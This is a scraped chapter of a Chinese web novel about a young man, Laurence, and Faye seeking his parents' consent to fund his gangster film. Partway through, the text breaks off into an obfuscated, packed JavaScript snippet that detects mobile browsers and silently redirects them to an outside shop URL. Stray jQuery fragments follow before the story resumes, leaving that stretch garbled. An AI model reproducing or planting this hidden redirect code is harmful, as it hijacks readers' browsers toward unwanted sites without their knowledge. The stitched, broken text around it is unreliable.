“我什么时候祸害菲伊了!他怎么永远都听不懂人话!”

    劳伦斯一拳砸在沙发扶手上,重重坐了下来,把脸埋进手里。

    他的肩膀微微颤抖着,积攒了多年的委屈和不甘在这一刻全部爆发出来。

    佩妮叹了口气,走过去轻轻拍了拍他的背:“好了好了,别气了。你爸就是那个脾气,刀子嘴豆腐心。他也是怕你吃亏,更怕菲伊受委屈。”

    “怕我吃亏?他从来就没信过我能做成事!”劳伦斯抬起头,眼睛通红,“他一上来就给我扣帽子,说我骗菲伊的钱,现在又把我的事业贬的一文不值!路是我自己选的,再苦再累我都自己扛着,从来没跟家里要过一分钱!”

    菲伊递给他一张纸巾:“马丁只是在说气话,你别往心里去。他当了一辈子律师,凡事都求稳,电影这种高风险的东西,他一时接受不了很正常。我们给他一点时间,慢慢跟他说,总会说通的。”

    劳伦斯接过纸巾,擦了擦脸,沮丧地摇头:“我看悬。凡是我想做的事,在他眼里都是不务正业。”

    “先别急,我先看看。”佩妮坐下来,对劳伦斯说,“把你的剧本和那个什么投资协议拿给我看看。”

    劳伦斯眼睛一亮,连忙从公文包里拿出厚厚的一摞文件:“在这儿呢!这是剧本,这是预算表,这是菲伊定的投资条款,全都是保护她利益的。”

    佩妮拿起剧本,翻了几页,眉头就紧紧皱了起来。

    越往后翻,她的眉头皱得越紧,最后“啪”地一声合上剧本:“我的天!这里面全是脏话和打打杀杀!还有割耳朵的画面?这也太暴力了!你们拍这种片子,当真有人喜欢看吗?”

    “有的有的!”菲伊连忙说,“现在年轻人就喜欢这种真实、有冲击力的片子。而且这种黑/帮片在录像带市场特别吃香,很多人租录像带就爱看这个。”

    “没错!”劳伦斯连忙点头,“我们做过调研,去年卖得最好的十部录像带里,有六部都是帮派动作片。只要能在圣丹斯拿个提名,光海外版权就能回本了。”

    两人你一言我一语,一个讲市场前景,一个拍胸脯保证质量,说得口干舌燥。佩妮的脸色渐渐缓和了一些,但还是有些犹豫。

    “那……你打算投多少?” 她看着菲伊问。

    “120万。” 菲伊抿抿唇,小声道。

    “多少?!”佩妮猛地站起来,声音都变了,“120万?!菲伊,你哪里来的这么多钱?是你父母留给你的遗产吗?不行不行,绝对不行!

    就算要投,投个万把块钱玩玩就行了,怎么能投这么多?万一亏了怎么办?我怎么和你去世的父母,怎么和阿利斯泰尔交代!”

    她说着,转头就拧住了劳伦斯的耳朵,气得咬牙切齿:“好啊你个臭小子!果然是你糊弄菲伊!把你忽悠投资人那一套都用在她身上了是不是?120 万!你也敢开口!太不像话了!”

    “哎哎哎!疼疼疼!妈,松手!”劳伦斯疼得龇牙咧嘴,连连求饶,“我真没糊弄她!是菲伊自己主动提出投这么多的!我本来以为她最多投四五万!”

    “佩妮阿姨,你先松手,不关劳伦斯的事。”菲伊连忙上前拉开佩妮,“这钱不是我父母的遗产,是我自己赚的。我这半年做原油期货,赚了些钱,120万虽然多,但在我能承担的风险范围内,这点你大可以放心。”

    她把劳伦斯的笔记本拿给佩妮看:

    “你看,这些都是劳伦斯做的预算,每一笔钱都算得清清楚楚。胶片多少钱,演员多少钱,场地多少钱,连买盒饭的钱都列出来了,保证每一分钱都花在刀刃上。

    我不是一时冲动,我研究过这个项目,也评估过风险。而且如果资金不到位,片子拍了一半烂尾,那投进去的钱才真的打水漂了。既然要投,不如一步到位,把所有准备工作都做好,这样成功的概率才大。”

    劳伦斯连忙打开投资协议,给佩妮看:“对啊。你看,上面的条款也写得很明白,优先回本,财务全程监管,绝对不会乱花一分钱。”

    佩妮看着笔记本上密密麻麻的数字,又看着协议中权责分明的条款,再看看菲伊坚定的眼神,心里渐渐动摇了。

    这段时间相处下来,她也算对菲伊比较了解了。

    这孩子从来不是冲动任性的人,做事沉稳有主见,比很多成年人都靠谱。而且,这也是劳伦斯这么多年来,第一次这么认真地想做成一件事。

    她沉默了许久,终于叹了口气:“好吧,我同意了。”

    “真的?!” 菲伊和劳伦斯异口同声地喊出来,激动地击了个掌。

    “先别高兴得太早。”佩妮泼了一盆冷水,“我同意没用,关键是你爸。他要是不同意,合同根本签不了。”

    劳伦斯脸上的笑容马上僵住了。他抬头看了看紧闭的书房门,咽了口唾沫,深吸一口气,拿起桌上所有的文件。

    “我去跟他谈。”他握紧拳头,给自己打气,“这次我一定要好好跟他说,让他知道,我不是在胡闹。”

    “你注意下脾气,好好和你爸说。”佩妮叮嘱道。

    “行。我知道。”

    劳伦斯说完,随即转身走上楼梯,敲响了书房的门。

    但很快,书房里便传来争吵声。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17793856|209455||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    先是马丁低沉严厉的呵斥,接着是劳伦斯激动的辩解,声音越来越高,夹杂着拍桌子的闷响。菲伊下意识地往楼梯口走,却被佩妮一把拉住。

    佩妮轻轻摇了摇头,叹了口气:“算了,让他们吵吧。这么多年的疙瘩,不是一次就能解开的。吵开了,反而比憋着好。”

    没过多久,争吵声戛然而止。

    书房门“砰”地一声被拉开,劳伦斯快步冲了下来。他的衬衫领口被扯得歪歪扭扭,头发也乱了,路过菲伊身边时顿了顿,抬手抹了把脸。

    菲伊清楚地看到,他的眼眶泛红,眼底满是疲惫和挫败。

    “抱歉,菲伊。” 他的声音沙哑,“我还是没能劝动他。实在不行……投资的事就算了吧。我们再想别的办法,大不了多跑几个城市,多找几个投资人,东拼西凑总能凑够的。”

    说完,他转身就往门口走,连佩妮喊他都没回头。

    “劳伦斯!”

    菲伊快步追了出去,在他拉开车门的前一秒叫住他。

    劳伦斯抬头,嘴角绷成一条僵硬的直线。几缕碎发软塌塌地垂在汗湿的额角,遮住了半只眼睛,显得格外落寞。

    “别灰心。”菲伊走到他面前,认真地说,“马丁叔叔不是不讲理的人,他只是一时接受不了。给他一点时间,他会明白我们不是在胡闹的。”

    劳伦斯扯了扯嘴角,露出一个苦涩的笑:“但愿吧。”

    他发动车子,冲菲伊挥了挥手,“我先回去了。有事给我打电话。”

    看着银色本田消失在街角,菲伊轻轻叹了口气。她知道,光靠劳伦斯去说,很难说服马丁。

    想要让马丁同意,必须让他看到,这不是一次冲动的玩票,而是一份经过深思熟虑的、成熟的商业计划。

    一周后。

    洛杉矶市中心的金融区,玻璃幕墙的写字楼在阳光下闪着冷硬的光。

    穿着笔挺西装的男男女女步履匆匆,手里攥着公文包和砖头一样的手提电话,路边的公用电话亭时不时传来急促的通话声。

    菲伊穿着雪纺一字领衬衫和卡其色长裤,手里拿着一个黑色文件夹,和马丁并肩走在人行道上。

    “你到底要带我去哪?神神秘秘的。”马丁推了推鼻梁上的老花镜,语气里带着一丝疑惑。

    自从那天吵架后,劳伦斯再也没来过,家里的气氛一直有些沉闷。今天早上菲伊忽然说要带他去市中心见个人,问是什么事却只说“到了就知道”。

    “到了您就明白了。”菲伊笑了笑,推开了面前写字楼的玻璃门,“是一件很重要的事,需要您帮个忙。”